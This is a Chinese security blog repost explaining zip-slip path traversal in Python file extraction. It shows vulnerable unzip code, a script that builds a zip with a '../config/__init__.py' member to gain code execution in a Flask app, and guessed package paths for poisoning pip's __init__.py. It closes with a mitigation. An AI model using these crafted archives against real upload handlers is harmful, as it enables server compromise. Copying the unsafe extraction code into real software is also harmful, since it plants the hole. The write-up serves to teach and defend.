文章总结: 本文介绍了一种通过利用Python中不安全的文件解压操作来实现任意代码执行的攻击技术。攻击者可以构造包含路径遍历字符(如…/)的恶意压缩包,绕过应用的安全限制,将恶意代码写入到服务器上的任意位置,特别是覆盖或创建init.py文件。当应用导入相关包时,恶意代码便会被执行。文章最后提供了相应的预防措施,建议使用ZipFile.extract()方法来安全地解压文件。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,红队
利用 Python 中不安全的文件解压实现代码执行
玲珑安全
2025年9月9日 09:00 福建
原文出处:
https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution
摘要
在 Python 中使用不安全的压缩文件解压代码,若存在路径遍历漏洞,则可能通过覆盖 __init__.py 文件实现任意代码执行。
在 PHP 中实现代码执行的最简单方法之一,是利用不安全编写的文件上传处理逻辑。如果能够绕过文件上传逻辑,上传任意 PHP 文件,就可以执行任意 PHP 代码。
但在使用 Go、Node.js、Python、Ruby 等语言编写的现代 Web 框架中,情况则有所不同。即使成功上传 .py 或 .js 文件到服务器,通过 URL 请求这些资源时,通常不会返回任何内容,因为应用未暴露对应的路由或 URL。即便能够通过 URL 访问资源,它们也不会触发代码执行,而是作为静态文件返回纯文本源代码。本文将解释在这样一种场景下,当你能够将压缩文件上传至服务器时,如何在 Python 中实现代码执行。
应用安全的一条基本原则是:永远不要信任用户输入。不要将这一原则仅局限于包含查询参数、请求体、文件、请求头等的原始 HTTP 请求对象。如果压缩文件经过精心构造,即使在解压后看似正常,也可能在由不安全代码处理时产生恶意效果。本文的灵感来源于一个提交至 MobSF 的安全漏洞报告,重点介绍该漏洞的技术细节及其利用方式。
正文
下面让我们来看一段不安全的代码示例:
def unzip(zip_file, extraction_path): """ code to unzip files """ print "[INFO] Unzipping" try: files = [] with zipfile.ZipFile(zip_file, "r") as z: for fileinfo in z.infolist(): filename = fileinfo.filename dat = z.open(filename, "r") files.append(filename) outfile = os.path.join(extraction_path, filename) if not os.path.exists(os.path.dirname(outfile)): try: os.makedirs(os.path.dirname(outfile)) except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: print "\n[WARN] OS Error: Race Condition" if not outfile.endswith("/"): with io.open(outfile, mode='wb') as f: f.write(dat.read()) dat.close() return files except Exception as e: print "[ERROR] Unzipping Error" + str(e)
这是一段相对简单的 Python 代码,用于解压 zip 文件并返回压缩包中的文件列表。该 zip 文件在文件上传操作后传入服务器,并交由 unzip() 函数进行解压。
请注意以下这一行:
outfile = os.path.join(extraction_path, filename)
可以看到,filename 变量完全由用户控制。如果我们将 filename 设置为 …/…/foo.py:
>>> import os>>> extraction_path = "/home/ajin/webapp/uploads/">>> filename = "../../foo.py">>> outfile = os.path.join(extraction_path, filename)>>> outfile'/home/ajin/webapp/uploads/../../foo.py'>>> open(outfile, "w").write("print 'test'")>>> open("/home/ajin/foo.py", "r").read()"print 'test'"
通过滥用路径遍历,我们能够将文件写入任意位置。在上述示例中,文件被写入到 /home/ajin,而不是预期的 /home/ajin/webapp/uploads/。
任意代码执行
现在我们能将 Python 代码写入任意位置,现在来看如何执行它。
接下来,以一个用 Python Flask 编写的应用为例,演示如何利用 Python 中的 __init__.py 实现代码执行。
__init__.py 文件用于使 Python 将目录视为包含包,这样做是为了防止名称常见的目录(例如 string)无意中屏蔽在模块搜索路径后续位置出现的有效模块。最简单的情况下,__init__.py 可以只是一个空文件,但它也可以为包执行初始化代码,或设置后文将要描述的 __all__ 变量。
因此,如果我们能够在充当包的 Web 应用目录中,用任意 Python 代码覆盖 __init__.py 文件,那么当应用导入该包时就可以实现代码执行。对于我们的代码要被执行,多数情况需要重启服务器。但在此示例中,我们运行的是开启了 debug=True 的 Flask 服务器,也就是说每当某个 Python 文件发生变更时,服务器都会重启。
构造Payload
存在漏洞的 Web 应用有一个名为 config 的目录。该目录中已存在 __init__.py 和 settings.py。主服务器文件 server.py 会从 config 目录导入 settings.py,这意味着如果我们能向 config/__init__.py 写入代码,就能够实现代码执行。
我们可以使用以下代码构造Payload:
import zipfile
# 创建一个 ZipInfo 对象,并指定文件名为 "../config/__init__.py"z_info = zipfile.ZipInfo(r"../config/__init__.py")
# 创建一个新的压缩文件 bad.zip,用于写入恶意文件z_file = zipfile.ZipFile("/home/ajin/Desktop/bad.zip", mode="w")
# 向压缩包中写入内容,将目标文件内容设置为 "print 'test'"z_file.writestr(z_info, "print 'test'")
# 设置文件权限为 0777z_info.external_attr = 0777 << 16Lz_file.close()
查看文件上传代码可以发现,上传的文件会被解压到 uploads 目录。我们可以使用 zipfile.ZipInfo() 创建一个恶意文件名。
在这里,我们将文件名设为 ../config/__init__.py,以覆盖 config 目录下的 __init__.py。
z_info.external_attr = 0777 << 16L 会将文件权限设置为所有人可读写。
现在创建一个 zip 文件并将其上传到存在漏洞的 Web 应用:
我们可以看到,Flask 应用成功重新加载,服务器控制台打印出 test,说明代码执行已经成功。
思路延申
在这个示例中,由于 Flask 服务器运行在调试模式下,任意代码能够即时执行。但在其他环境中情况可能不同,可能需要等待服务器重启才能触发代码执行。
另一个问题是,我们并不总是像本例中的 config 一样清楚具体的包目录。怎么办呢?在开源项目中,由于可以访问源代码,这一点较为容易。而在闭源应用中,可以基于经验进行合理猜测,例如 conf、config、settings、utils、urls、view、tests、scripts、controllers、modules、models、admin、login 等目录,这些都是在 Django、Flask、Pyramid、Tornado、CherryPy、web2py 等 Python Web 框架中常见的包目录。
另一种思路是,假设 Web 应用运行在 Ubuntu Linux 环境下,安装的内置 Python 包通常位于:
/home/<user>/.local/lib/python2.7/site-packages/pip
假设应用运行在用户目录下,就可以构造类似如下的文件名:
../../.local/lib/python2.7/site-packages/pip/__init__.py
在解压时,这将会在 pip 目录下创建 __init__.py 文件。如果应用使用的是 virtualenv,并且虚拟环境目录为 venv,则可以使用类似如下的文件名:
../venv/lib/python2.7/site-packages/pip/__init__.py
这会破坏 pip,但下一次有人在服务器上运行 pip 命令时,你的代码就会被执行。
预防措施
要防止此类漏洞,应在解压文件时使用 ZipFile.extract() 方法。
根据 zipfile 文档说明:
- 如果成员文件名是绝对路径,驱动器/UNC 共享点及前导(反)斜杠将被剥离。例如:
///foo/bar在 Unix 系统上会变为foo/bar,C:\foo\bar在 Windows 系统上会变为foo\bar。 - 所有成员文件名中的
".."组件将被移除。例如:../../foo../../ba..r会被处理为foo../ba..r。 - 在 Windows 系统上,非法字符
(:, <, >, |, ", ?, *)会被替换为下划线 (_)。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玲珑安全 《利用 Python 中不安全的文件解压实现代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论